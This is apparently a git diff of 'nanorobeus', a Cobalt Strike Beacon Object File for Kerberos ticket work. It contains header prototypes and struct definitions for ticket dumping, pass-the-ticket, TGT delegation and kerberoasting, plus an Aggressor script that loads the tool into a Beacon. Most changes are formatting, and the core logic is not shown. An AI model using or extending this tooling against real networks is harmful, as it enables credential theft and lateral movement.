WINBASEAPI int ASN1API MSASN1$ASN1BEREncExplicitTag(ASN1encoding_t enc, ASN1uint32_t tag, ASN1uint32_t *pLengthOffset);
|
||||
WINBASEAPI int ASN1API MSASN1$ASN1BEREncS32(ASN1encoding_t enc, ASN1uint32_t tag, ASN1int32_t);
|
||||
WINBASEAPI int ASN1API MSASN1$ASN1BEREncEndOfContents(ASN1encoding_t enc, ASN1uint32_t LengthOffset);
|
||||
WINBASEAPI int ASN1API MSASN1$ASN1DEREncCharString(ASN1encoding_t enc, ASN1uint32_t tag, ASN1uint32_t len, ASN1char_t* val);
|
||||
WINBASEAPI int ASN1API MSASN1$ASN1DEREncOctetString(ASN1encoding_t enc, ASN1uint32_t tag, ASN1uint32_t len, ASN1octet_t* val);
|
||||
WINBASEAPI int ASN1API MSASN1$ASN1DEREncCharString(ASN1encoding_t enc, ASN1uint32_t tag, ASN1uint32_t len, ASN1char_t *val);
|
||||
WINBASEAPI int ASN1API MSASN1$ASN1DEREncOctetString(ASN1encoding_t enc, ASN1uint32_t tag, ASN1uint32_t len, ASN1octet_t *val);
|
||||
#endif
|
||||
#else
|
||||
__declspec(dllimport) NTSTATUS WINAPI CDLocateCSystem(LONG type, PKERB_ECRYPT* pCSystem);
|
||||
__declspec(dllimport) NTSTATUS WINAPI CDLocateCSystem(LONG type, PKERB_ECRYPT *pCSystem);
|
||||
|
||||
#define NTDLL$RtlUnicodeStringToAnsiString RtlUnicodeStringToAnsiString
|
||||
#define NTDLL$RtlFreeAnsiString RtlFreeAnsiString
|
||||
|
||||
#define KERNEL32$GetLastError GetLastError
|
||||
#define KERNEL32$SetLastError SetLastError
|
||||
@@ -179,16 +198,17 @@ __declspec(dllimport) NTSTATUS WINAPI CDLocateCSystem(LONG type, PKERB_ECRYPT* p
|
||||
#define KERNEL32$CloseHandle CloseHandle
|
||||
#define KERNEL32$OpenProcess OpenProcess
|
||||
|
||||
#define MSVCRT$wcstombs wcstombs
|
||||
#define MSVCRT$strtol strtol
|
||||
#define MSVCRT$calloc calloc
|
||||
#define MSVCRT$malloc malloc
|
||||
#define MSVCRT$free free
|
||||
#define MSVCRT$memset memset
|
||||
#define MSVCRT$mbstowcs mbstowcs
|
||||
#define MSVCRT$_vsnprintf _vsnprintf
|
||||
#define MSVCRT$_snprintf _snprintf
|
||||
|
||||
#define ADVAPI32$OpenProcessToken OpenProcessToken
|
||||
#define ADVAPI32$GetTokenInformation GetTokenInformation
|
||||
#define ADVAPI32$ConvertSidToStringSidW ConvertSidToStringSidW
|
||||
#define ADVAPI32$ConvertSidToStringSidA ConvertSidToStringSidA
|
||||
#define ADVAPI32$AllocateAndInitializeSid AllocateAndInitializeSid
|
||||
#define ADVAPI32$EqualSid EqualSid
|
||||
#define ADVAPI32$FreeSid FreeSid
|
||||
|
||||
+18
-11
@@ -4,6 +4,8 @@
|
||||
#include <ntsecapi.h>
|
||||
#include <stdlib.h>
|
||||
#include <tlhelp32.h>
|
||||
#define STRSAFE_NO_DEPRECATE
|
||||
#include <strsafe.h>
|
||||
#include "beacon.h"
|
||||
#include "bofdefs.h"
|
||||
|
||||
@@ -11,12 +13,14 @@
|
||||
#define STATUS_MEMORY_NOT_ALLOCATED ((NTSTATUS)0xC00000A0L)
|
||||
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) == 0)
|
||||
|
||||
typedef struct _LOGON_SESSION_DATA {
|
||||
PSECURITY_LOGON_SESSION_DATA* sessionData;
|
||||
typedef struct _LOGON_SESSION_DATA
|
||||
{
|
||||
PSECURITY_LOGON_SESSION_DATA *sessionData;
|
||||
ULONG sessionCount;
|
||||
} LOGON_SESSION_DATA, PLOGON_SESSION_DATA;
|
||||
|
||||
enum KERB_ETYPE {
|
||||
enum KERB_ETYPE
|
||||
{
|
||||
DES_CBC_CRC = 1,
|
||||
DES_CBC_MD4 = 2,
|
||||
DES_CBC_MD5 = 3,
|
||||
@@ -38,19 +42,22 @@ enum KERB_ETYPE {
|
||||
};
|
||||
|
||||
HANDLE GetCurrentToken(DWORD DesiredAccess);
|
||||
char* GetEncryptionTypeString(LONG encType);
|
||||
void GetEncryptionTypeString(LONG encType, char **encTypeString);
|
||||
SYSTEMTIME ConvertToSystemtime(LARGE_INTEGER li);
|
||||
BOOL IsHighIntegrity();
|
||||
BOOL IsSystem();
|
||||
NTSTATUS GetLsaHandle(BOOL highIntegrity, HANDLE* hLsa);
|
||||
int GetProcessIdByName(WCHAR* processName);
|
||||
NTSTATUS GetLsaHandle(BOOL highIntegrity, HANDLE *hLsa);
|
||||
int GetProcessIdByName(WCHAR *processName);
|
||||
BOOL ElevateToSystem();
|
||||
char* GetNarrowString(WCHAR* src);
|
||||
char* GetNarrowStringFromUnicode(UNICODE_STRING src);
|
||||
WCHAR* GetWideString(char* src);
|
||||
WCHAR *GetWideString(char *src);
|
||||
unsigned int _strlen(const char *str);
|
||||
unsigned int _wcslen(LPCWSTR str);
|
||||
int _strcmp(const char *str1, const char *str2);
|
||||
char *_strcpy(char *dst, const char *src);
|
||||
char *_strstr(const char *str, const char *sub);
|
||||
int _wcscmp(LPCWSTR str1, LPCWSTR str2);
|
||||
void* _memcpy(void *dst, const void *src, size_t n);
|
||||
int _memcmp(const void *ptr1, const void *ptr2, size_t n);
|
||||
void *_memcpy(void *dst, const void *src, size_t n);
|
||||
int _memcmp(const void *ptr1, const void *ptr2, size_t n);
|
||||
HRESULT __stdcall _StringCchPrintfExA(STRSAFE_LPSTR pszDest, size_t cchDest, STRSAFE_LPSTR *ppszDestEnd, size_t *pcchRemaining, unsigned __LONG32 dwFlags, STRSAFE_LPCSTR pszFormat, ...);
|
||||
HRESULT __stdcall _StringVPrintfExWorkerA(STRSAFE_LPSTR pszDest, size_t cchDest, size_t cbDest, STRSAFE_LPSTR *ppszDestEnd, size_t *pcchRemaining, unsigned __LONG32 dwFlags, STRSAFE_LPCSTR pszFormat, va_list argList);
|
||||
void *_memset(void *dst, int c, size_t n);
|
||||
@@ -2,4 +2,4 @@
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
void execute_kerberoast(WCHAR** dispatch, char* spn);
|
||||
void execute_kerberoast(WCHAR **dispatch, char *spn);
|
||||
+5
-5
@@ -6,9 +6,9 @@
|
||||
#include "common.h"
|
||||
#include "sessions.h"
|
||||
|
||||
void execute_klist(WCHAR** dispatch, LUID luid, BOOL currentLuid, BOOL dump);
|
||||
void EnumerateTickets(LUID*, BOOL, HANDLE);
|
||||
NTSTATUS ExtractTicket(HANDLE hLsa, ULONG authPackage, LUID luid, UNICODE_STRING targetName, PUCHAR* ticket,
|
||||
void execute_klist(WCHAR **dispatch, LUID luid, BOOL currentLuid, BOOL dump);
|
||||
void EnumerateTickets(LUID *, BOOL, HANDLE);
|
||||
NTSTATUS ExtractTicket(HANDLE hLsa, ULONG authPackage, LUID luid, UNICODE_STRING targetName, PUCHAR *ticket,
|
||||
PULONG ticketSize);
|
||||
void PrintTicketInfo(WCHAR** dispatch, KERB_TICKET_CACHE_INFO_EX cacheInfo);
|
||||
void PrintTicketFlags(WCHAR** dispatch, ULONG ticketFlags);
|
||||
void PrintTicketInfo(KERB_TICKET_CACHE_INFO_EX cacheInfo, char **ticketInfo);
|
||||
void PrintTicketFlags(ULONG ticketFlags, char **flagsString);
|
||||
+47
-27
@@ -39,7 +39,8 @@ typedef LONG KERBERR, *PKERBERR;
|
||||
#define KDC_ERR_MORE_DATA ((KERBERR)0x80000001)
|
||||
#define KERB_SUCCESS(_kerberr_) ((KERBERR)(_kerberr_) == KDC_ERR_NONE)
|
||||
|
||||
typedef struct _KERB_GSS_CHECKSUM {
|
||||
typedef struct _KERB_GSS_CHECKSUM
|
||||
{
|
||||
ULONG BindLength;
|
||||
ULONG BindHash[4];
|
||||
ULONG GssFlags;
|
||||
@@ -49,18 +50,21 @@ typedef struct _KERB_GSS_CHECKSUM {
|
||||
} KERB_GSS_CHECKSUM, *PKERB_GSS_CHECKSUM;
|
||||
|
||||
typedef ASN1ztcharstring_t KERB_PRINCIPAL_NAME_name_string_Seq;
|
||||
typedef struct KERB_PRINCIPAL_NAME_name_string_s* PKERB_PRINCIPAL_NAME_name_string;
|
||||
typedef struct KERB_PRINCIPAL_NAME_name_string_s {
|
||||
typedef struct KERB_PRINCIPAL_NAME_name_string_s *PKERB_PRINCIPAL_NAME_name_string;
|
||||
typedef struct KERB_PRINCIPAL_NAME_name_string_s
|
||||
{
|
||||
PKERB_PRINCIPAL_NAME_name_string next;
|
||||
KERB_PRINCIPAL_NAME_name_string_Seq value;
|
||||
} KERB_PRINCIPAL_NAME_name_string_Element, *KERB_PRINCIPAL_NAME_name_string;
|
||||
|
||||
typedef struct PKERB_TICKET_EXTENSIONS_s* PPKERB_TICKET_EXTENSIONS;
|
||||
typedef struct PKERB_TICKET_EXTENSIONS_Seq {
|
||||
typedef struct PKERB_TICKET_EXTENSIONS_s *PPKERB_TICKET_EXTENSIONS;
|
||||
typedef struct PKERB_TICKET_EXTENSIONS_Seq
|
||||
{
|
||||
ASN1int32_t te_type;
|
||||
ASN1octetstring_t te_data;
|
||||
} PKERB_TICKET_EXTENSIONS_Seq;
|
||||
typedef struct PKERB_TICKET_EXTENSIONS_s {
|
||||
typedef struct PKERB_TICKET_EXTENSIONS_s
|
||||
{
|
||||
PPKERB_TICKET_EXTENSIONS next;
|
||||
PKERB_TICKET_EXTENSIONS_Seq value;
|
||||
} PKERB_TICKET_EXTENSIONS_Element, *PKERB_TICKET_EXTENSIONS;
|
||||
@@ -70,24 +74,29 @@ typedef ASN1ztcharstring_t KERB_REALM;
|
||||
typedef ASN1generalizedtime_t KERB_TIME;
|
||||
typedef ASN1intx_t KERB_SEQUENCE_NUMBER_LARGE;
|
||||
|
||||
typedef struct PKERB_AUTHORIZATION_DATA_Seq {
|
||||
typedef struct PKERB_AUTHORIZATION_DATA_Seq
|
||||
{
|
||||
ASN1int32_t auth_data_type;
|
||||
ASN1octetstring_t auth_data;
|
||||
} PKERB_AUTHORIZATION_DATA_Seq;
|
||||
|
||||
typedef struct PKERB_AUTHORIZATION_DATA_s* PPKERB_AUTHORIZATION_DATA;
|
||||
typedef struct PKERB_AUTHORIZATION_DATA_s {
|
||||
typedef struct PKERB_AUTHORIZATION_DATA_s *PPKERB_AUTHORIZATION_DATA;
|
||||
typedef struct PKERB_AUTHORIZATION_DATA_s
|
||||
{
|
||||
PPKERB_AUTHORIZATION_DATA next;
|
||||
PKERB_AUTHORIZATION_DATA_Seq value;
|
||||
} PKERB_AUTHORIZATION_DATA_Element, *PKERB_AUTHORIZATION_DATA;
|
||||
|
||||
typedef struct KERB_PRINCIPAL_NAME {
|
||||
typedef struct KERB_PRINCIPAL_NAME
|
||||
{
|
||||
ASN1int32_t name_type;
|
||||
PKERB_PRINCIPAL_NAME_name_string name_string;
|
||||
} KERB_PRINCIPAL_NAME;
|
||||
|
||||
typedef struct KERB_ENCRYPTED_DATA {
|
||||
union {
|
||||
typedef struct KERB_ENCRYPTED_DATA
|
||||
{
|
||||
union
|
||||
{
|
||||
ASN1uint16_t bit_mask;
|
||||
ASN1octet_t o[1];
|
||||
};
|
||||
@@ -96,18 +105,22 @@ typedef struct KERB_ENCRYPTED_DATA {
|
||||
ASN1octetstring_t cipher_text;
|
||||
} KERB_ENCRYPTED_DATA;
|
||||
|
||||
typedef struct KERB_ENCRYPTION_KEY {
|
||||
typedef struct KERB_ENCRYPTION_KEY
|
||||
{
|
||||
ASN1int32_t keytype;
|
||||
ASN1octetstring_t keyvalue;
|
||||
} KERB_ENCRYPTION_KEY;
|
||||
|
||||
typedef struct KERB_CHECKSUM {
|
||||
typedef struct KERB_CHECKSUM
|
||||
{
|
||||
ASN1int32_t checksum_type;
|
||||
ASN1octetstring_t checksum;
|
||||
} KERB_CHECKSUM;
|
||||
|
||||
typedef struct KERB_REPLY_KEY_PACKAGE2 {
|
||||
union {
|
||||
typedef struct KERB_REPLY_KEY_PACKAGE2
|
||||
{
|
||||
union
|
||||
{
|
||||
ASN1uint16_t bit_mask;
|
||||
ASN1octet_t o[1];
|
||||
};
|
||||
@@ -116,8 +129,10 @@ typedef struct KERB_REPLY_KEY_PACKAGE2 {
|
||||
ASN1bitstring_t subject_public_key;
|
||||
} KERB_REPLY_KEY_PACKAGE2;
|
||||
|
||||
typedef struct KERB_TICKET {
|
||||
union {
|
||||
typedef struct KERB_TICKET
|
||||
{
|
||||
union
|
||||
{
|
||||
ASN1uint16_t bit_mask;
|
||||
ASN1octet_t o[1];
|
||||
};
|
||||
@@ -128,8 +143,10 @@ typedef struct KERB_TICKET {
|
||||
PPKERB_TICKET_EXTENSIONS ticket_extensions;
|
||||
} KERB_TICKET;
|
||||
|
||||
typedef struct KERB_AUTHENTICATOR {
|
||||
union {
|
||||
typedef struct KERB_AUTHENTICATOR
|
||||
{
|
||||
union
|
||||
{
|
||||
ASN1uint16_t bit_mask;
|
||||
ASN1octet_t o[1];
|
||||
};
|
||||
@@ -144,7 +161,8 @@ typedef struct KERB_AUTHENTICATOR {
|
||||
PPKERB_AUTHORIZATION_DATA authorization_data;
|
||||
} KERB_AUTHENTICATOR;
|
||||
|
||||
typedef struct KERB_AP_REQUEST {
|
||||
typedef struct KERB_AP_REQUEST
|
||||
{
|
||||
ASN1int32_t version;
|
||||
ASN1int32_t message_type;
|
||||
KERB_AP_OPTIONS ap_options;
|
||||
@@ -152,12 +170,14 @@ typedef struct KERB_AP_REQUEST {
|
||||
KERB_ENCRYPTED_DATA authenticator;
|
||||
} KERB_AP_REQUEST, *PKERB_AP_REQUEST;
|
||||
|
||||
typedef struct KERB_CRED_tickets_s* PKERB_CRED_tickets;
|
||||
typedef struct KERB_CRED_tickets_s {
|
||||
typedef struct KERB_CRED_tickets_s *PKERB_CRED_tickets;
|
||||
typedef struct KERB_CRED_tickets_s
|
||||
{
|
||||
PKERB_CRED_tickets next;
|
||||
KERB_TICKET value;
|
||||
} KERB_CRED_tickets_Element, *KERB_CRED_tickets;
|
||||
typedef struct KERB_CRED {
|
||||
typedef struct KERB_CRED
|
||||
{
|
||||
ASN1int32_t version;
|
||||
ASN1int32_t message_type;
|
||||
PKERB_CRED_tickets tickets;
|
||||
@@ -166,8 +186,8 @@ typedef struct KERB_CRED {
|
||||
|
||||
ASN1module_t ASN1CALL KRB5_Module_Startup(void);
|
||||
void ASN1CALL KRB5_Module_Cleanup(ASN1module_t module);
|
||||
KERBERR KerbInitAsn(ASN1module_t module, ASN1encoding_t* pEnc, ASN1decoding_t* pDec);
|
||||
KERBERR KerbInitAsn(ASN1module_t module, ASN1encoding_t *pEnc, ASN1decoding_t *pDec);
|
||||
void KerbTermAsn(ASN1encoding_t pEnc, ASN1decoding_t pDec);
|
||||
KERBERR NTAPI KerbUnpackData(ASN1module_t module, PUCHAR Data, ULONG DataSize, ULONG PduValue, PVOID* DecodedData);
|
||||
KERBERR NTAPI KerbPackData(ASN1module_t module, PVOID Data, ULONG PduValue, PULONG DataSize, PUCHAR* EncodedData);
|
||||
KERBERR NTAPI KerbUnpackData(ASN1module_t module, PUCHAR Data, ULONG DataSize, ULONG PduValue, PVOID *DecodedData);
|
||||
KERBERR NTAPI KerbPackData(ASN1module_t module, PVOID Data, ULONG PduValue, PULONG DataSize, PUCHAR *EncodedData);
|
||||
void KerbFreeData(ASN1module_t module, ULONG PduValue, PVOID Data);
|
||||
+2
-2
@@ -3,5 +3,5 @@
|
||||
#include <windows.h>
|
||||
#include "common.h"
|
||||
|
||||
void execute_luid(WCHAR** dispatch);
|
||||
LUID* GetCurrentLUID();
|
||||
void execute_luid(WCHAR **dispatch);
|
||||
LUID *GetCurrentLUID();
|
||||
|
||||
+584
-513
File diff suppressed because it is too large
Load Diff
+1
-1
@@ -4,4 +4,4 @@
|
||||
#include "common.h"
|
||||
#include "base64.h"
|
||||
|
||||
void execute_ptt(WCHAR** dispatch, char* ticket, LUID luid, BOOL currentLuid);
|
||||
void execute_ptt(WCHAR **dispatch, char *ticket, LUID luid, BOOL currentLuid);
|
||||
+1
-1
@@ -4,4 +4,4 @@
|
||||
#include <ntsecapi.h>
|
||||
#include "common.h"
|
||||
|
||||
void execute_purge(WCHAR** dispatch, LUID luid, BOOL currentLuid);
|
||||
void execute_purge(WCHAR **dispatch, LUID luid, BOOL currentLuid);
|
||||
|
||||
+4
-4
@@ -5,7 +5,7 @@
|
||||
#include "common.h"
|
||||
#include "luid.h"
|
||||
|
||||
void execute_sessions(WCHAR** dispatch, LUID luid, BOOL currentLuid);
|
||||
NTSTATUS GetLogonSessionData(LUID luid, LOGON_SESSION_DATA* data);
|
||||
char* GetLogonTypeString(ULONG uLogonType);
|
||||
void PrintLogonSessionData(WCHAR** dispatch, SECURITY_LOGON_SESSION_DATA data);
|
||||
void execute_sessions(WCHAR **dispatch, LUID luid, BOOL currentLuid);
|
||||
NTSTATUS GetLogonSessionData(LUID luid, LOGON_SESSION_DATA *data);
|
||||
void GetLogonTypeString(ULONG uLogonType, char **logonTypeString);
|
||||
void PrintLogonSessionData(SECURITY_LOGON_SESSION_DATA data, char **sessionString);
|
||||
+4
-4
@@ -8,9 +8,9 @@
|
||||
#include "msasn1.h"
|
||||
#include "krb5.h"
|
||||
|
||||
void execute_tgtdeleg(WCHAR** dispatch, char* spn);
|
||||
void execute_tgtdeleg(WCHAR **dispatch, char *spn);
|
||||
PBYTE SearchOID(LPCVOID data, SIZE_T size);
|
||||
PVOID MemorySearch(LPCVOID pattern, SIZE_T pSize, LPCVOID buf, SIZE_T bSize);
|
||||
NTSTATUS KerberosDecrypt(DWORD keyUsage, KERB_ENCRYPTION_KEY* key, ASN1octetstring_t* in, ASN1octetstring_t* out);
|
||||
NTSTATUS GetKeyFromCache(char* target, LONG encType, PUCHAR* key, PULONG keySize);
|
||||
LONG RequestApReq(char *spn, PUCHAR* apreq, PULONG apreqSize, BOOL checkDelegate);
|
||||
NTSTATUS KerberosDecrypt(DWORD keyUsage, KERB_ENCRYPTION_KEY *key, ASN1octetstring_t *in, ASN1octetstring_t *out);
|
||||
NTSTATUS GetKeyFromCache(char *target, LONG encType, PUCHAR *key, PULONG keySize);
|
||||
LONG RequestApReq(char *spn, PUCHAR *apreq, PULONG apreqSize, BOOL checkDelegate);
|
||||
@@ -0,0 +1,37 @@
|
||||
beacon_command_register(
|
||||
"nanorobeus",
|
||||
"Manage Kerberos tickets",
|
||||
"Command list: \
|
||||
luid\
|
||||
get current logon ID\
|
||||
sessions [/luid:<0x0> | /all]\
|
||||
get logon sessions\
|
||||
klist [/luid:<0x0> | /all]\
|
||||
list Kerberos tickets\
|
||||
dump [/luid:<0x0> | /all]\
|
||||
dump Kerberos tickets\
|
||||
ptt /ticket:<BASE64> [/luid:<0x0>]\
|
||||
import Kerberos ticket into a logon session\
|
||||
purge [/luid:<0x0>]\
|
||||
purge Kerberos tickets\
|
||||
tgtdeleg /spn:<SPN>\
|
||||
retrieve a usable TGT for the current user\
|
||||
kerberoast /spn:<SPN>\
|
||||
perform Kerberoasting against specified SPN\
|
||||
help\
|
||||
print help"
|
||||
);
|
||||
|
||||
alias nanorobeus {
|
||||
local('$barch $handle $bof $args');
|
||||
|
||||
$barch = barch($1);
|
||||
$handle = openf(script_resource("dist/nanorobeus_cs." . $barch . ".o"));
|
||||
$bof = readb($handle, -1);
|
||||
closef($handle);
|
||||
|
||||
$args = bof_pack($1, "zzzzz", $2, $3, $4, $5, $6);
|
||||
btask($1, "Running nanorobeus");
|
||||
|
||||
beacon_inline_execute($1, $bof, "go", $args);
|
||||
}
|
||||
+1
-1
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "nanorobeus",
|
||||
"version": "0.0.3",
|
||||
"version": "0.0.4",
|
||||
"command_name": "nanorobeus",
|
||||
"extension_author": "wavvs",
|
||||
"original_author": "wavvs",
|
||||
|
||||
+34
-22
@@ -91,7 +91,7 @@ static const unsigned char pr2six[256] = {
|
||||
/* ASCII table */
|
||||
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
|
||||
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 62, 64, 64, 64, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61,
|
||||
64, 64, 64, 64, 64, 64, 64, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21,
|
||||
64, 64, 64, 64, 64, 64, 64, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21,
|
||||
22, 23, 24, 25, 64, 64, 64, 64, 64, 64, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44,
|
||||
45, 46, 47, 48, 49, 50, 51, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
|
||||
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
|
||||
@@ -99,37 +99,40 @@ static const unsigned char pr2six[256] = {
|
||||
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
|
||||
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64};
|
||||
|
||||
int Base64decode_len(const char* bufcoded) {
|
||||
int Base64decode_len(const char *bufcoded)
|
||||
{
|
||||
int nbytesdecoded;
|
||||
const unsigned char* bufin;
|
||||
const unsigned char *bufin;
|
||||
int nprbytes;
|
||||
|
||||
bufin = (const unsigned char*)bufcoded;
|
||||
bufin = (const unsigned char *)bufcoded;
|
||||
while (pr2six[*(bufin++)] <= 63)
|
||||
;
|
||||
|
||||
nprbytes = (bufin - (const unsigned char*)bufcoded) - 1;
|
||||
nprbytes = (bufin - (const unsigned char *)bufcoded) - 1;
|
||||
nbytesdecoded = ((nprbytes + 3) / 4) * 3;
|
||||
|
||||
return nbytesdecoded + 1;
|
||||
}
|
||||
|
||||
int Base64decode(char* bufplain, const char* bufcoded) {
|
||||
int Base64decode(char *bufplain, const char *bufcoded)
|
||||
{
|
||||
int nbytesdecoded;
|
||||
const unsigned char* bufin;
|
||||
unsigned char* bufout;
|
||||
const unsigned char *bufin;
|
||||
unsigned char *bufout;
|
||||
int nprbytes;
|
||||
|
||||
bufin = (const unsigned char*)bufcoded;
|
||||
bufin = (const unsigned char *)bufcoded;
|
||||
while (pr2six[*(bufin++)] <= 63)
|
||||
;
|
||||
nprbytes = (bufin - (const unsigned char*)bufcoded) - 1;
|
||||
nprbytes = (bufin - (const unsigned char *)bufcoded) - 1;
|
||||
nbytesdecoded = ((nprbytes + 3) / 4) * 3;
|
||||
|
||||
bufout = (unsigned char*)bufplain;
|
||||
bufin = (const unsigned char*)bufcoded;
|
||||
bufout = (unsigned char *)bufplain;
|
||||
bufin = (const unsigned char *)bufcoded;
|
||||
|
||||
while (nprbytes > 4) {
|
||||
while (nprbytes > 4)
|
||||
{
|
||||
*(bufout++) = (unsigned char)(pr2six[*bufin] << 2 | pr2six[bufin[1]] >> 4);
|
||||
*(bufout++) = (unsigned char)(pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2);
|
||||
*(bufout++) = (unsigned char)(pr2six[bufin[2]] << 6 | pr2six[bufin[3]]);
|
||||
@@ -138,13 +141,16 @@ int Base64decode(char* bufplain, const char* bufcoded) {
|
||||
}
|
||||
|
||||
/* Note: (nprbytes == 1) would be an error, so just ingore that case */
|
||||
if (nprbytes > 1) {
|
||||
if (nprbytes > 1)
|
||||
{
|
||||
*(bufout++) = (unsigned char)(pr2six[*bufin] << 2 | pr2six[bufin[1]] >> 4);
|
||||
}
|
||||
if (nprbytes > 2) {
|
||||
if (nprbytes > 2)
|
||||
{
|
||||
*(bufout++) = (unsigned char)(pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2);
|
||||
}
|
||||
if (nprbytes > 3) {
|
||||
if (nprbytes > 3)
|
||||
{
|
||||
*(bufout++) = (unsigned char)(pr2six[bufin[2]] << 6 | pr2six[bufin[3]]);
|
||||
}
|
||||
|
||||
@@ -157,23 +163,29 @@ static const char basis_64[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuv
|
||||
|
||||
int Base64encode_len(int len) { return ((len + 2) / 3 * 4) + 1; }
|
||||
|
||||
int Base64encode(char* encoded, const char* string, int len) {
|
||||
int Base64encode(char *encoded, const char *string, int len)
|
||||
{
|
||||
int i;
|
||||
char* p;
|
||||
char *p;
|
||||
|
||||
p = encoded;
|
||||
for (i = 0; i < len - 2; i += 3) {
|
||||
for (i = 0; i < len - 2; i += 3)
|
||||
{
|
||||
*p++ = basis_64[(string[i] >> 2) & 0x3F];
|
||||
*p++ = basis_64[((string[i] & 0x3) << 4) | ((int)(string[i + 1] & 0xF0) >> 4)];
|
||||
*p++ = basis_64[((string[i + 1] & 0xF) << 2) | ((int)(string[i + 2] & 0xC0) >> 6)];
|
||||
*p++ = basis_64[string[i + 2] & 0x3F];
|
||||
}
|
||||
if (i < len) {
|
||||
if (i < len)
|
||||
{
|
||||
*p++ = basis_64[(string[i] >> 2) & 0x3F];
|
||||
if (i == (len - 1)) {
|
||||
if (i == (len - 1))
|
||||
{
|
||||
*p++ = basis_64[((string[i] & 0x3) << 4)];
|
||||
*p++ = '=';
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
*p++ = basis_64[((string[i] & 0x3) << 4) | ((int)(string[i + 1] & 0xF0) >> 4)];
|
||||
*p++ = basis_64[((string[i + 1] & 0xF) << 2)];
|
||||
}
|
||||
|
||||
+381
-141
@@ -1,10 +1,15 @@
|
||||
#include "common.h"
|
||||
#include <stdint.h>
|
||||
|
||||
HANDLE GetCurrentToken(DWORD DesiredAccess) {
|
||||
HANDLE GetCurrentToken(DWORD DesiredAccess)
|
||||
{
|
||||
HANDLE hCurrentToken = NULL;
|
||||
if (!ADVAPI32$OpenThreadToken((HANDLE)-2, DesiredAccess, FALSE, &hCurrentToken)) {
|
||||
if (hCurrentToken == NULL && KERNEL32$GetLastError() == ERROR_NO_TOKEN) {
|
||||
if (!ADVAPI32$OpenProcessToken((HANDLE)-1, DesiredAccess, &hCurrentToken)) {
|
||||
if (!ADVAPI32$OpenThreadToken((HANDLE)-2, DesiredAccess, FALSE, &hCurrentToken))
|
||||
{
|
||||
if (hCurrentToken == NULL && KERNEL32$GetLastError() == ERROR_NO_TOKEN)
|
||||
{
|
||||
if (!ADVAPI32$OpenProcessToken((HANDLE)-1, DesiredAccess, &hCurrentToken))
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
@@ -12,71 +17,63 @@ HANDLE GetCurrentToken(DWORD DesiredAccess) {
|
||||
return hCurrentToken;
|
||||
}
|
||||
|
||||
char* GetEncryptionTypeString(LONG encType) {
|
||||
char* encTypeStr = NULL;
|
||||
switch (encType) {
|
||||
case DES_CBC_CRC:
|
||||
encTypeStr = "DES_CBC_CRC";
|
||||
break;
|
||||
case DES_CBC_MD4:
|
||||
encTypeStr = "DES_CBC_MD4";
|
||||
break;
|
||||
case DES_CBC_MD5:
|
||||
encTypeStr = "DES_CBC_MD5";
|
||||
break;
|
||||
case DES3_CBC_MD5:
|
||||
encTypeStr = "DES3_CBC_MD5";
|
||||
break;
|
||||
case DES3_CBC_SHA1:
|
||||
encTypeStr = "DES3_CBC_SHA1";
|
||||
break;
|
||||
case DSAWITHSHA1_CMSOID:
|
||||
encTypeStr = "DSAWITHSHA1_CMSOID";
|
||||
break;
|
||||
case MD5WITHRSAENCRYPTION_CMSOID:
|
||||
encTypeStr = "MD5WITHRSAENCRYPTION_CMSOID";
|
||||
break;
|
||||
case SHA1WITHRSAENCRYPTION_CMSOID:
|
||||
encTypeStr = "SHA1WITHRSAENCRYPTION_CMSOID";
|
||||
break;
|
||||
case RC2CBC_ENVOID:
|
||||
encTypeStr = "RC2CBC_ENVOID";
|
||||
break;
|
||||
case RSAENCRYPTION_ENVOID:
|
||||
encTypeStr = "RSAENCRYPTION_ENVOID";
|
||||
break;
|
||||
case RSAES_OAEP_ENV_OID:
|
||||
encTypeStr = "RSAES_OAEP_ENV_OID";
|
||||
break;
|
||||
case DES3_CBC_SHA1_KD:
|
||||
encTypeStr = "DES3_CBC_SHA1_KD";
|
||||
break;
|
||||
case AES128_CTS_HMAC_SHA1:
|
||||
encTypeStr = "AES128_CTS_HMAC_SHA1";
|
||||
break;
|
||||
case AES256_CTS_HMAC_SHA1:
|
||||
encTypeStr = "AES256_CTS_HMAC_SHA1";
|
||||
break;
|
||||
case RC4_HMAC:
|
||||
encTypeStr = "RC4_HMAC";
|
||||
break;
|
||||
case RC4_HMAC_EXP:
|
||||
encTypeStr = "RC4_HMAC_EXP";
|
||||
break;
|
||||
case SUBKEY_KEYMATERIAL:
|
||||
encTypeStr = "SUBKEY_KEYMATERIAL";
|
||||
break;
|
||||
case OLD_EXP:
|
||||
encTypeStr = "OLD_EXP";
|
||||
break;
|
||||
default:
|
||||
encTypeStr = "<unknown>";
|
||||
break;
|
||||
void GetEncryptionTypeString(LONG encType, char **encTypeString)
|
||||
{
|
||||
char *types[27] = {
|
||||
"reserved0",
|
||||
"des_cbc_crc",
|
||||
"des_cbc_md4",
|
||||
"des_cbc_md5",
|
||||
"reserved1",
|
||||
"des3_cbc_md5",
|
||||
